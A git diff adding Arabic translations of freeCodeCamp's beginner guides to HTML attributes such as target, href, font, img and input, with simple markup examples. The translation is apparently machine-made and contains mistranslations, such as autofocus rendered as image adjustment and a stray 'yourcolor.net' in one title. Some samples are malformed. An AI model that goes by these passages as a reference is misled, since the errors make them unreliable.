+<a href="#"><img itemprop="image" style="height: 90px;" src="http://www.chatbot.chat/assets/images/header-bg_y.jpg" alt="picture">  </a> 
+` 
+
+### مثال
+
+[![صورة](http://www.chatbot.chat/assets/images/header-bg_y.jpg)](#)
+
+### بعض الأمثلة أكثر من href
+
+ `
+<base href="https://www.freecodecamp.org/a-href/">This gives a base url for all further urls on the page</a> 
+ <link href="style.css">This is a live link to an external stylesheet</a> 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/attributes/a-target-attribute/index.md b/client/src/guide/arabic/html/attributes/a-target-attribute/index.md
new file mode 100644
index 0000000000..b8343915c6
--- /dev/null
+++ b/client/src/guide/arabic/html/attributes/a-target-attribute/index.md
@@ -0,0 +1,47 @@
+---
+title: A Target Attribute
+localeTitle: سمة الهدف
+---
+## سمة الهدف
+
+تحدد السمة `<a target>` مكان فتح المستند المرتبط في `a` ( `a` ارتساء).
+
+#### أمثلة:
+
+تعمل السمة الهدف ذات القيمة "\_blank" على فتح المستند المرتبط في نافذة أو علامة تبويب جديدة.
+
+ `
+    <a href="https://www.freecodecamp.org" target="_blank">freeCodeCamp</a> 
+` 
+
+تعمل السمة الهدف ذات القيمة "\_self" على فتح المستند المرتبط في نفس الإطار الذي تم النقر فوقه (وهذا هو الإعداد الافتراضي وعادةً لا يلزم تحديده).
+
+ `
+    <a href="https://www.freecodecamp.org" target="_self">freeCodeCamp</a> 
+` 
+
+ `
+    <a href="https://www.freecodecamp.org">freeCodeCamp</a> 
+` 
+
+تعمل السمة الهدف ذات القيمة "\_parent" على فتح المستند المرتبط في الإطار الأصل.
+
+ `
+    <a href="https://www.freecodecamp.org" target="_parent">freeCodeCamp</a> 
+` 
+
+تعمل السمة الهدف ذات القيمة "\_top" على فتح المستند المرتبط في النص الكامل للنافذة.
+
+ `
+    <a href="https://www.freecodecamp.org" target="_top">freeCodeCamp</a> 
+` 
+
+سمة الهدف بقيمة _"framename"_ يفتح المستند المرتبط في إطار مسمى محدد.
+
+ `
+    <a href="https://www.freecodecamp.org" target="framename">freeCodeCamp</a> 
+` 
+
+#### معلومات اكثر:
+
+السمة المستهدفة: [w3schools](https://www.w3schools.com/tags/att_a_target.asp)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/attributes/autofocus-attribute/index.md b/client/src/guide/arabic/html/attributes/autofocus-attribute/index.md
new file mode 100644
index 0000000000..267ca41c53
--- /dev/null
+++ b/client/src/guide/arabic/html/attributes/autofocus-attribute/index.md
@@ -0,0 +1,34 @@
+---
+title: Autofocus Attribute
+localeTitle: خاصية التركيز التلقائي
+---
+## ضبط تلقائي للصورة السمة | HTML5
+
+سمة **ضبط تلقائي للصورة** هي خاصية منطقية.
+
+عندما يكون موجودًا ، فإنه يحدد أن العنصر يجب أن يحصل تلقائيًا على تركيز الإدخال عند تحميل الصفحة.
+
+يمكن أن يحتوي عنصر نموذج واحد فقط في المستند على سمة **التركيز التلقائي** . لا يمكن تطبيقه على `<input type="hidden">` .
+
+### ينطبق على
+
+| عنصر | السمة | | : - | : - | | `<button>` | ضبط تلقائي للصورة | `<input>` | ضبط تلقائي للصورة | `<select>` | ضبط تلقائي للصورة | `<textarea>` | ضبط تلقائي للصورة
+
+### مثال
+
+ `
+<form> 
+    <input type="text" name="fname" autofocus> 
+    <input type="text" name="lname"> 
+ </form> 
+` 
+
+### التوافق
+
+هذه سمة HTML5.
+
+#### معلومات اكثر:
+
+[HTML autofocus سمة](https://www.w3schools.com/tags/att_autofocus.asp) على w3schools.com
+
+[<input> سمة autofocus](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input) على مستندات الويب MDN
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/attributes/body-background-attribute/index.md b/client/src/guide/arabic/html/attributes/body-background-attribute/index.md
new file mode 100644
index 0000000000..8dc2192228
--- /dev/null
+++ b/client/src/guide/arabic/html/attributes/body-background-attribute/index.md
@@ -0,0 +1,34 @@
+---
+title: Body Background Attribute
+localeTitle: سمة خلفية الجسم
+---
+## سمة خلفية الجسم
+
+إذا كنت ترغب في إضافة صورة خلفية بدلاً من لون ، فإن أحد الحلول هو سمة `<body background>` . وهي تحدد صورة خلفية لمستند HTML.
+
+بناء الجملة:
+
+`<body background="URL">`
+
+صفة، عزا:
+
+`background - URL for background image`
+
+مثال:
+
+ `
+<html> 
+  <body background="https://assets.digitalocean.com/blog/static/hacktoberfest-is-back/hero.png"> 
+  </body> 
+ </html> 
+` 
+
+## يتم استهلاك سمة body-background
+
+تم إيقاف سمة سمة الخلفية في HTML5. الطريقة الصحيحة لأسلوب العلامة `<body>` مع CSS.
+
+هناك العديد من خصائص CSS المستخدمة في تعيين خلفية عنصر. هذه يمكن استخدامها على لتعيين خلفية صفحة كاملة.
+
+## تحقق من ذلك:
+
+*   [CSS خلفية proprety](https://github.com/freeCodeCamp/guides/blob/master/src/pages/css/background/index.md)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/attributes/body-bgcolor-attribute/index.md b/client/src/guide/arabic/html/attributes/body-bgcolor-attribute/index.md
new file mode 100644
index 0000000000..0b346efb3e
--- /dev/null
+++ b/client/src/guide/arabic/html/attributes/body-bgcolor-attribute/index.md
@@ -0,0 +1,44 @@
+---
+title: Body Bgcolor Attribute
+localeTitle: الهيئة Bgcolor السمة
+---
+## الهيئة Bgcolor السمة
+
+`<body bgcolor>` لون خلفية لمستند HTML.
+
+**بناء الجملة** :
+
+`<body bgcolor="color">` يمكن أن تكون قيمة اللون إما اسم لون (مثل ، `purple` ) أو قيمة سداسية عشرية (مثل ، `#af0000` ).
+
+لإضافة لون خلفية إلى صفحة ويب ، يمكنك استخدام السمة `<body bgcolor="######">` . يحدد لونًا لعرض مستند HTML.
+
+**فمثلا:**
+
+ `
+<html> 
+  <head> 
+    <title>Body bgcolor Attribute example</title> 
+  </head> 
+  <body bgcolor="#afafaf"> 
+    <h1>This webpage has colored background.</h1> 
+  </body> 
+ </html> 
+` 
+
+يمكنك تغيير اللون عن طريق استبدال ###### بقيمة سداسية عشرية. للألوان البسيطة ، يمكنك أيضًا استخدام الكلمة ، مثل "أحمر" أو "أسود".
+
+تدعم جميع المتصفحات الرئيسية السمة `<body bgcolor>` .
+
+_ملحوظة:_
+
+*   لا يدعم HTML 5 السمة `<body bgcolor>` . استخدم CSS لهذا الغرض. ماذا؟ باستخدام التعليمة البرمجية التالية: `<body style="background-color: color">` بالطبع ، يمكنك أيضًا القيام بذلك في مستند منفصل بدلاً من طريقة مضمنة.
+    
+*   لا تستخدم قيمة RGB في السمة `<body bgcolor>` لأن `rgb()` لـ CSS فقط ، أي أنها لن تعمل في HTML.
+    
+
+**شاهده في العمل:** https://repl.it/Mwht/2
+
+**موارد آخرى:**
+
+*   أسماء ألوان HTML: https://www.w3schools.com/colors/colors\_names.asp
+*   خاصية لون خلفية CSS: https://www.w3schools.com/cssref/pr\_background-color.asp
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/attributes/div-align-attribute/index.md b/client/src/guide/arabic/html/attributes/div-align-attribute/index.md
new file mode 100644
index 0000000000..d85009e67e
--- /dev/null
+++ b/client/src/guide/arabic/html/attributes/div-align-attribute/index.md
@@ -0,0 +1,45 @@
+---
+title: Div Align Attribute
+localeTitle: Div Align Attribute
+---
+## شعبة محاذاة سمات
+
+و `<div align="">` يستخدم سمة لمحاذاة النص في علامة div إلى اليسار واليمين، الوسط أو تبرير.
+
+على سبيل المثال:
+
+ `
+<html> 
+ <head> 
+ <title> Div Align Attribbute </title> 
+ </head> 
+ <body> 
+ <div align="left"> 
+ Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. 
+ </div> 
+ <div align="right"> 
+ Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. 
+ </div> 
+ <div align="center"> 
+ Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. 
+ </div> 
+ <div align="justify"> 
+ Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. 
+ </div> 
+ </body> 
+ </html> 
+` 
+
+## مهم!
+
+لم يعد معتمدا هذه السمة في HTML5. CSS هو الطريق للذهاب.
+
+السمة DIV محاذاة يمكن استخدامها لأفقيا محاذاة محتويات داخل شعبة. في المثال أدناه، سيتم توسيط النص داخل شعبة.
+
+ `
+<div align="center"> 
+  This Text Will Be Centered 
+ </div> 
+` 
+
+\*\* لا يتم اعتماد هذه السمة في HTML5 و [النص CSS محاذاة](https://github.com/freeCodeCamp/guides/blob/f50b7370be514b2a03ee707cd0f0febe2bb713ae/src/pages/css/text-align/index.md) ينبغي أن تستخدم بدلا من ذلك
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/attributes/font-color-attribute/index.md b/client/src/guide/arabic/html/attributes/font-color-attribute/index.md
new file mode 100644
index 0000000000..a3ec686a99
--- /dev/null
+++ b/client/src/guide/arabic/html/attributes/font-color-attribute/index.md
@@ -0,0 +1,51 @@
+---
+title: Font Color Attribute
+localeTitle: سمة لون الخط
+---
+## سمة لون الخط
+
+يتم استخدام هذه السمة لتعيين لون للنص المحاط بعلامة `<font>` .
+
+### بناء الجملة:
+
+\`\` أتش تي أم أل \`\` \`
+
+### مهم:
+
+هذه السمة غير مدعومة في HTML5. بدلاً من ذلك ، [تحدد](https://guide.freecodecamp.org/css/colors) هذه [المقالة freeCodeCamp](https://guide.freecodecamp.org/css/colors) طريقة CSS ، والتي يمكن استخدامها.
+
+### ملحوظة:
+
+يمكن أيضًا تحديد لون باستخدام "رمز hex" أو "رمز rgb" ، بدلاً من استخدام اسم.
+
+### مثال:
+
+1.  سمة اسم اللون
+
+ `
+<html> 
+  <body> 
+   <font color="green">Font color example using color attribute</font> 
+ </body> 
+ </html> 
+` 
+
+2.  سمة سداسي عشري
+
+ `
+<html> 
+  <body> 
+   <font color="#00FF00">Font color example using color attribute</font> 
+  </body> 
+ </html> 
+` 
+
+3.  سمة RGB
+
+ `
+<html> 
+  <body> 
+    <font color="rgb(0,255,0)">Font color example using color attribute</font> 
+  </body> 
+ </html> 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/attributes/font-size-attribute/index.md b/client/src/guide/arabic/html/attributes/font-size-attribute/index.md
new file mode 100644
index 0000000000..8d4d27580f
--- /dev/null
+++ b/client/src/guide/arabic/html/attributes/font-size-attribute/index.md
@@ -0,0 +1,23 @@
+---
+title: Font Size Attribute
+localeTitle: حجم الخط سمة
+---
+## حجم الخط سمة
+
+تحدد هذه السمة حجم الخط كقيمة رقمية أو نسبية. تتراوح القيم الرقمية من `1` إلى `7` مع `1` كونها الأصغر و `3` القيم الافتراضية. كما يمكن تعريفها باستخدام قيمة نسبية ، مثل `+2` أو `-3` ، والتي تقوم بتعيينها نسبة إلى قيمة سمة الحجم لعنصر `<basefont>` ، أو نسبة إلى القيمة الافتراضية `3` ، إذا لم تكن موجودة.
+
+بناء الجملة:
+
+`<font size="number">`
+
+مثال:
+
+ `
+<html> 
+  <body> 
+    <font size="6">This is some text!</font> 
+  </body> 
+ </html> 
+` 
+
+ملاحظة: `The size attribute of <font> is not supported in HTML5. Use CSS instead.`
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/attributes/href-attribute/index.md b/client/src/guide/arabic/html/attributes/href-attribute/index.md
new file mode 100644
index 0000000000..a3d2a595e8
--- /dev/null
+++ b/client/src/guide/arabic/html/attributes/href-attribute/index.md
@@ -0,0 +1,25 @@
+---
+title: Href Attribute
+localeTitle: سمة Href
+---
+## سمة Href
+
+Href اختصار لـ "Hypertext Reference" وهي إحدى سمات HTML. يتم استخدام السمة href بشكل أساسي لعلامات `<a>` لتحديد عنوان URL لصفحة ويب يؤديها الرابط (سواء كان في قسم مختلف من نفس الصفحة ، أو على صفحة ويب مختلفة تمامًا).
+
+#### كيف تستعمل
+
+`<a href="URL"></a>`
+
+#### أمثلة
+
+ `
+<a href="https://www.freecodecamp.org">This is an absolute URL</a> 
+ 
+ <a href="index.html">This is a relative URL</a> 
+` 
+
+#### معلومات اكثر:
+
+[W3Schools](https://www.w3schools.com/tags/att_href.asp)
+
+[HTMLElementReference](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/a)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/attributes/href/index.md b/client/src/guide/arabic/html/attributes/href/index.md
new file mode 100644
index 0000000000..b48e4c9f41
--- /dev/null
+++ b/client/src/guide/arabic/html/attributes/href/index.md
@@ -0,0 +1,53 @@
+---
+title: Href
+localeTitle: أ href
+---
+## أ href
+
+مرجع النص التشعبي (HREF) هو سمة HTML التي تستخدمها لتحديد وجهة ارتباط أو محدد موقع المعلومات (URL). ستشاهد عادةً سمة HREF مقترنة بعلامة ارتساء `<a>` .
+
+تحصل الخاصية HREF على المعنى الدقيق للارتباط بناءً على العنصر الذي يستخدمه. على سبيل المثال عند استخدام العلامة `<a>` ، فإنه يشير إلى موقع كائن صريح كعنوان URL. عند استخدام السمة HREF مع العلامة `<image>` ، فإن السمة HREF تشير إلى عنوان URL الخاص بالصورة المطلوب عرضها.
+
+### أمثلة:
+
+رابط إلى الصفحة الرئيسية لـ Google:
+
+\-> النص "زيارة صفحة Google الرئيسية يعمل مثل الرابط إلى الصفحة الرئيسية
+
+ `
+<a href="https://www.google.com">Visit Google's Homepage</a> 
+` 
+
+صورة كحلقة وصل:
+
+\-> شعار Google الذي يشير إلى صفحة Google الرئيسية
+
+ `
+<a href="https://www.google.com"> 
+ <img border="0" alt="Google" src="https://www.google.com/logos/doodles/2015/googles-new-logo-5078286822539264.3-hp2x.gif" width="100" height="100"> 
+` 
+
+العلامات التي تستخدم HREF:
+
+ `
+<a> 
+ <area> 
+ <base> 
+ <cursor> 
+ <discard> 
+ <feImage> 
+ <hatch> 
+ <image> 
+ <link> 
+ <mesh> 
+ <meshgradient> 
+ <mpath> 
+ <pattern> 
+ <script> 
+ <textPath> 
+ <use> 
+` 
+
+#### معلومات اكثر:
+
+[WTF هو href على أي حال](https://tomayko.com/blog/2008/wtf-is-an-href-anyway) [MDN](https://developer.mozilla.org/en-US/docs/Web/SVG/Attribute/href)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/attributes/img-align-attribute/index.md b/client/src/guide/arabic/html/attributes/img-align-attribute/index.md
new file mode 100644
index 0000000000..78a936ca05
--- /dev/null
+++ b/client/src/guide/arabic/html/attributes/img-align-attribute/index.md
@@ -0,0 +1,40 @@
+---
+title: Img Align Attribute
+localeTitle: ايمج محاذاة السمة
+---
+## ايمج محاذاة السمة
+
+تحدد السمة align للصورة مكان محاذاة الصورة وفقًا للعنصر المحيط.
+
+قيم السمات:  
+right - محاذاة الصورة إلى اليمين left - محاذاة الصورة إلى اليسار  
+top - محاذاة الصورة إلى الأعلى  
+أسفل - محاذاة الصورة إلى الأسفل  
+وسط - محاذاة الصورة إلى المنتصف
+
+فمثلا:
+
+ `
+<!DOCTYPE html> 
+ <html lang="en"> 
+  <head> 
+   <title>Img Align Attribute</title> 
+ </head> 
+ <body> 
+  <p>This is an example. <img src="image.png" alt="Image" align="middle"> More text right here 
+  <img src="image.png" alt="Image" width="100"/> 
+  </body> 
+ </html> 
+` 
+
+يمكننا أيضًا التوفيق في اليمين إذا أردنا:
+
+ `
+<p>This is another example<img src="image.png" alt="Image" align="right"></p> 
+` 
+
+**يرجى ملاحظة أن سمة align غير مدعومة في HTML5 ، ويجب عليك استخدام CSS بدلاً من ذلك. ومع ذلك ، لا تزال مدعومة من جميع المتصفحات الرئيسية.**
+
+#### معلومات اكثر:
+
+[مقالة MDN على علامة img وسماتها](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/img)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/attributes/img-src-attribute/index.md b/client/src/guide/arabic/html/attributes/img-src-attribute/index.md
new file mode 100644
index 0000000000..197a1c8adc
--- /dev/null
+++ b/client/src/guide/arabic/html/attributes/img-src-attribute/index.md
@@ -0,0 +1,41 @@
+---
+title: Img Src Attribute
+localeTitle: Img Src Attribute
+---
+## Img Src Attribute
+
+تشير السمة `<img src>` إلى مصدر الصورة التي تريد عرضها. لن تعرض علامة `img` صورة بدون سمة `src` . ومع ذلك ، إذا قمت بتعيين المصدر إلى موقع الصورة ، يمكنك عرض أي صورة.
+
+توجد صورة لشعار freeCodeCamp الموجود على `https://avatars0.githubusercontent.com/u/9892522?v=4&s=400`
+
+يمكنك تعيين ذلك كصورة باستخدام السمة `src` .
+
+ `
+<html> 
+  <head> 
+    <title>Img Src Attribute Example</title> 
+  </head> 
+  <body> 
+    <img src="https://avatars0.githubusercontent.com/u/9892522?v=4&s=400"> 
+  </body> 
+ </html> 
+` 
+
+يظهر الرمز أعلاه كما يلي:
+
+![الصورة الرمزية freeCodeCamp](https://avatars0.githubusercontent.com/u/9892522?v=4&s=400?raw=true)
+
+السمة `src` مدعومة من قبل جميع المتصفحات.
+
+يمكنك أيضًا الحصول على ملف مستضاف محليًا كصورة.
+
+على سبيل المثال ، `<img src="images/freeCodeCamp.jpeg>` ستعمل إذا كان لديك مجلد يسمى `images` التي كان لها `freeCodeCamp.jpeg` بالداخل ، طالما أن مجلد" الصور "كان في نفس الموقع مثل ملف `index.html` .
+
+`../files/index.html`
+
+`..files/images/freeCodeCamp.jpeg`
+
+### معلومات اكثر:
+
+*   [HTML.com](https://html.com/attributes/img-src/)
+*   [مدارس W3](https://www.w3schools.com/tags/att_img_src.asp)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/attributes/img-width-attribute/index.md b/client/src/guide/arabic/html/attributes/img-width-attribute/index.md
new file mode 100644
index 0000000000..38e2e03187
--- /dev/null
+++ b/client/src/guide/arabic/html/attributes/img-width-attribute/index.md
@@ -0,0 +1,27 @@
+---
+title: Img Width Attribute
+localeTitle: yourcolor.net سمة العرض
+---
+## yourcolor.net سمة العرض
+
+تشير سمة "عرض" HTML إلى عرض صورة. القيمة في الاقتباسات هي كمية البكسل.
+
+على سبيل المثال ، إذا كان لديك بالفعل رابط إلى صورة تم إعدادها عبر السمة `src` فيمكنك إضافة سمة العرض مثل:
+
+ `
+<!DOCTYPE html> 
+ <html lang="en"> 
+  <head> 
+    <title>Img Width Attribute</title> 
+  </head> 
+  <body> 
+    <img src="image.png" alt="Image" width="100"/> 
+  </body> 
+ </html> 
+` 
+
+يوجد في مقتطف الشفرة أعلاه علامة صورة ويتم ضبط الصورة على عرض 100 بكسل. `width="100"`
+
+#### معلومات اكثر:
+
+[مقالة MDN على علامة img](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/img)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/attributes/index.md b/client/src/guide/arabic/html/attributes/index.md
new file mode 100644
index 0000000000..05cf90d1bf
--- /dev/null
+++ b/client/src/guide/arabic/html/attributes/index.md
@@ -0,0 +1,40 @@
+---
+title: Attributes
+localeTitle: سمات
+---
+# سمات HTML
+
+يمكن أن تحتوي عناصر HTML على سمات تحتوي على معلومات إضافية حول العنصر.
+
+تأتي سمات HTML بشكل عام في أزواج الاسم والقيمة ، وتدخل دائمًا في علامة الفتح لعنصر. يوضح اسم السمة نوع المعلومات التي تقدمها حول العنصر ، وقيمة السمة هي المعلومات الفعلية.
+
+على سبيل المثال ، ينشئ عنصر الارتساء ( `<a>` ) في مستند HTML ارتباطات إلى صفحات أخرى أو أجزاء أخرى من الصفحة. يمكنك استخدام السمة `href` في علامة `<a>` الافتتاحية لإعلام المتصفح حيث يرسل الرابط مستخدمًا.
+
+في ما يلي مثال على رابط يرسل المستخدمين إلى الصفحة الرئيسية لـ FreeCodeCamp:
+
+ `
+<a href="www.freecodecamp.org">Click here to go to freeCodeCamp!</a> 
+` 
+
+لاحظ أنه يتم فصل اسم السمة ( `href` ) والقيمة ("www.freeCodeCamp.org") مع علامة يساوي ، وعلامات الاقتباس تحيط بالقيمة.
+
+هناك العديد من سمات HTML المختلفة ، ولكن معظمها يعمل فقط على عناصر HTML محددة. على سبيل المثال ، لن تعمل سمة `href` إذا تم وضعها في علامة `<h1>` الافتتاحية.
+
+في المثال أعلاه ، يمكن أن تكون القيمة المقدمة لسمة `href` أي رابط صالح. ومع ذلك ، تحتوي بعض السمات فقط على مجموعة من الخيارات الصالحة التي يمكنك استخدامها ، أو يجب أن تكون القيم بتنسيق محدد. تخبر سمة `lang` المتصفح بالغة الافتراضية للمحتويات في عنصر HTML. القيم ل `lang` أن السمة استخدام اللغة أو البلد رموز القياسية، مثل `en` للغة الإنكليزية، أو `it` لالإيطالية.
+
+## سمات منطقية
+
+لا تحتاج بعض سمات HTML إلى قيمة نظرًا لأن لها خيارًا واحدًا فقط. هذه تسمى الصفات المنطقية. سيؤدي وجود السمة في العلامة إلى تطبيقها على عنصر HTML هذا. ومع ذلك ، لا بأس من كتابة اسم السمة وتعيينه يساوي خيار واحد من القيمة. في هذه الحالة ، تكون القيمة عادةً نفس اسم السمة.
+
+على سبيل المثال ، يمكن أن يحتوي عنصر `<input>` في نموذج على سمة `required` . يتطلب ذلك من المستخدمين ملء هذا العنصر قبل أن يتمكنوا من إرسال النموذج.
+
+إليك أمثلة تفعل نفس الشيء:
+
+ `
+<input type="text" required > 
+ <input type="text" required="required" > 
+` 
+
+## موارد آخرى
+
+[روابط HTML](#) [سمة Href](#) [لانغ السمة](#) [HTML عنصر الإدخال](#) [السمة المطلوبة](#)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/attributes/input-checked-attribute/index.md b/client/src/guide/arabic/html/attributes/input-checked-attribute/index.md
new file mode 100644
index 0000000000..17dc6ca8a4
--- /dev/null
+++ b/client/src/guide/arabic/html/attributes/input-checked-attribute/index.md
@@ -0,0 +1,25 @@
+---
+title: Input Checked Attribute
+localeTitle: سمة فحص المدخلات
+---
+## سمة فحص المدخلات
+
+السمة المحددة هي سمة منطقية.
+
+عندما يكون موجودا ، فإنه يحدد أن  يجب أن يكون العنصر محددًا مسبقًا (محددًا) عند تحميل الصفحة.
+
+يمكن استخدام الخاصية المميزة المحددة  و  .
+
+يمكن أيضًا تعيين السمة المحددة بعد تحميل الصفحة ، عبر JavaScript.
+
+## ألق نظرة على المثال التالي:
+
+ `
+<form action="/action_page.php"> 
+  <input type="checkbox" name="vehicle" value="Bike"> I have a bike<br> 
+  <input type="checkbox" name="vehicle" value="Car" checked> I have a car<br> 
+  <input type="submit" value="Submit"> 
+ </form> 
+` 
+
+في المثال أعلاه عند تحميل صفحة الويب افتراضيًا ، سيتم تحديد خانة الاختيار الأولى تلقائيًا بسبب السمة المحددة.
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/attributes/input-type-attribute/index.md b/client/src/guide/arabic/html/attributes/input-type-attribute/index.md
new file mode 100644
index 0000000000..3a241ee8c7
--- /dev/null
+++ b/client/src/guide/arabic/html/attributes/input-type-attribute/index.md
@@ -0,0 +1,107 @@
+---
+title: Input Type Attribute
+localeTitle: سمة نوع المدخلات
+---
+## سمة نوع المدخلات
+
+تحدد السمة type input نوع الإدخال الذي يجب أن يضعه المستخدم في النموذج الخاص بك.
+
+### نص
+
+سطر واحد من النص.
+
+ `
+    <form> 
+      <label for="login">Login:</label> 
+      <input type="text" name="login"> 
+    </form> 
+` 
+
+### كلمه السر
+
+سطر واحد من النص. يتم عرض النص تلقائيًا كسلسلة من النقاط أو العلامات النجمية (يعتمد على المتصفح ونظام التشغيل).
+
+ `
+    <form> 
+      <label for="password">Password:</label> 
+      <input type="password" name="password"> 
+    </form> 
+` 
+
+### البريد الإلكتروني
+
+يتحقق HTML إذا كان الإدخال يطابق تنسيق عنوان البريد الإلكتروني (شيء @ شيء).
+
+ `
+    <form> 
+      <label for="email">E-mail address:</label> 
+      <input type="email" name="email"> 
+    </form> 
+` 
+
+### رقم
+
+السماح فقط بإدخال رقمي. يمكنك أيضًا تحديد الحد الأدنى والحد الأقصى المسموح بهما. يوضح المثال أدناه أن الإدخال هو الرقم بين 1 و 120.
+
+ `
+    <form> 
+      <label for="age">Age:</label> 
+      <input type="number" name="age" min="1" max="120"> 
+    </form> 
+` 
+
+### راديو
+
+يمكن تحديد خيار واحد فقط من قبل المستخدم. تحتاج مجموعة أزرار الاختيار إلى نفس سمة الاسم. يمكنك تحديد خيار واحد تلقائيًا باستخدام خاصية `checked` (في المثال ، أسفل القيمة الزرقاء محددة).
+
+ `
+    <form> 
+      <label><input type="radio" name="color" value="red">Red</label> 
+      <label><input type="radio" name="color" value="green">Green</label> 
+      <label><input type="radio" name="color" value="blue" checked>Blue</label> 
+    </form> 
+` 
+
+### مربع
+
+يمكن للمستخدم تحديد صفر أو أكثر من الخيارات من مجموعة مربعات الاختيار. يمكنك استخدام خاصية `checked` هنا أيضًا لخيار واحد أو أكثر.
+
+ `
+    <form> 
+      <label><input type="checkbox" name="lang" value="english">english</label> 
+      <label><input type="checkbox" name="lang" value="spanish">spanish</label> 
+      <label><input type="checkbox" name="lang" value="french">french</label> 
+    </form> 
+` 
+
+### زر
+
+يتم عرض الإدخال كزر ، النص الذي يجب عرضه في الزر في سمة القيمة.
+
+ `
+    <form> 
+      <input type="button" value="click here"> 
+    </form> 
+` 
+
+### خضع
+
+يعرض زر الإرسال. النص الذي يجب عرضه في الزر في سمة القيمة. بعد النقر على الزر ، يقوم HTML بالتحقق من الصحة ، وفي حالة تمريره ، يتم إرسال النموذج.
+
+ `
+    <form> 
+      <input type="submit" value="SUBMIT"> 
+    </form> 
+` 
+
+### إعادة تعيين
+
+يعرض زر إعادة الضبط. النص الذي يجب عرضه في الزر في سمة القيمة. بعد النقر على الزر ، يتم حذف جميع القيم من النموذج.
+
+ `
+    <form> 
+      <input type="reset" value="CANCEL"> 
+    </form> 
+` 
+
+هناك المزيد من عناصر الأنواع. لمزيد من المعلومات ، قم بزيارة MSDN أو w3schools .
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/attributes/input/index.md b/client/src/guide/arabic/html/attributes/input/index.md
new file mode 100644
index 0000000000..50807b89e0
--- /dev/null
+++ b/client/src/guide/arabic/html/attributes/input/index.md
@@ -0,0 +1,42 @@
+---
+title: Input
+localeTitle: إدخال
+---
+## إدخال
+
+يتم استخدام علامة `<input>` HTML داخل نموذج للإعلان عن عنصر إدخال. يسمح للمستخدم بإدخال البيانات.
+
+## مثال
+
+ `
+<!DOCTYPE html> 
+ <html> 
+ 
+   <head> 
+      <title>HTML input Tag</title> 
+   </head> 
+ 
+   <body> 
+      <form action = "/cgi-bin/hello_get.cgi" method = "get"> 
+         First name: 
+            <input type = "text" name = "first_name" value = "" maxlength = "100" /> 
+            <br /> 
+ 
+         Last name: 
+            <input type = "text" name = "last_name" value = "" maxlength = "100" /> 
+         <input type = "submit" value = "Submit" /> 
+      </form> 
+   </body> 
+ 
+ </html> 
+` 
+
+في المثال أعلاه ، هناك حقلين إدخال يطلبان من المستخدم إدخال الاسم الأول والأخير حسب التصنيفات المحددة. يعد إرسال `<button type="submit">` نوعًا آخر من المدخلات يتم استخدامه لنقل البيانات التي يدخلها المستخدم إلى النموذج وإرسالها إلى موقع آخر محدد في التعليمة البرمجية.
+
+#### معلومات اكثر:
+
+[موقع YouTube](https://www.youtube.com/watch?v=qJ9ZkxmVf5s)
+
+## إدخال
+
+علامة HTML `<input>` هي من أنواع كثيرة لإدخال البيانات. البعض منهم: النوع: نص (هذا هو النوع الأكثر شيوعًا المستخدم لإنشاء مربعات نص عامة) النوع: كلمة المرور (يتم استخدام هذا النوع لإنشاء فواصل كلمة المرور) النوع: مخفي (هذا هو نوع خاص من الإدخال لا يظهر للمستخدم ولكنه يستخدم لتمرير المعلومات من صفحة إلى أخرى أثناء استخدام العلامة)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/attributes/lang/index.md b/client/src/guide/arabic/html/attributes/lang/index.md
new file mode 100644
index 0000000000..16d1fa6caf
--- /dev/null
+++ b/client/src/guide/arabic/html/attributes/lang/index.md
@@ -0,0 +1,26 @@
+---
+title: Lang
+localeTitle: فقط
+---
+## لانج
+
+في HTML ، يتم استخدام علامة Lang للإعلان عن لغة صفحة ويب بأكملها أو جزء منها.
+
+### أمثلة
+
+ `
+<html lang="en"> 
+ </html> 
+` 
+
+يمكن أيضًا استخدام السمة lang لتحديد لغة عنصر معين:
+
+ `
+<p lang="hi"> 
+  फ्री कोड कैंप 
+ </p> 
+` 
+
+في المثال أعلاه ، تشير كلمة "hi" إلى اللغة الهندية. وبالمثل ، يمكنك استخدام "en" للغة الإنجليزية ، "es" للإسبانية ، "fr" للفرنسية وما إلى ذلك.
+
+راجع [ISO 639-1](https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes) للحصول على رمز اللغة المناسب المكون من رقمين.
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/attributes/links/index.md b/client/src/guide/arabic/html/attributes/links/index.md
new file mode 100644
index 0000000000..ad3476cbf4
--- /dev/null
+++ b/client/src/guide/arabic/html/attributes/links/index.md
@@ -0,0 +1,39 @@
+---
+title: Links
+localeTitle: الروابط
+---
+## الروابط
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/html/attributes/links/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+يتم استخدام الروابط في كل مكان على الويب ، وذلك بغرض توجيه المستخدمين إلى عناصر المحتوى المختلفة. عادةً ما يشار إليها بواسطة المؤشر وتحولها إلى رمز اليد. يمكن أن تكون الروابط نصوصًا أو صورًا أو عناصر أخرى موجودة في HTML أو صفحة الويب الخاصة بك.
+
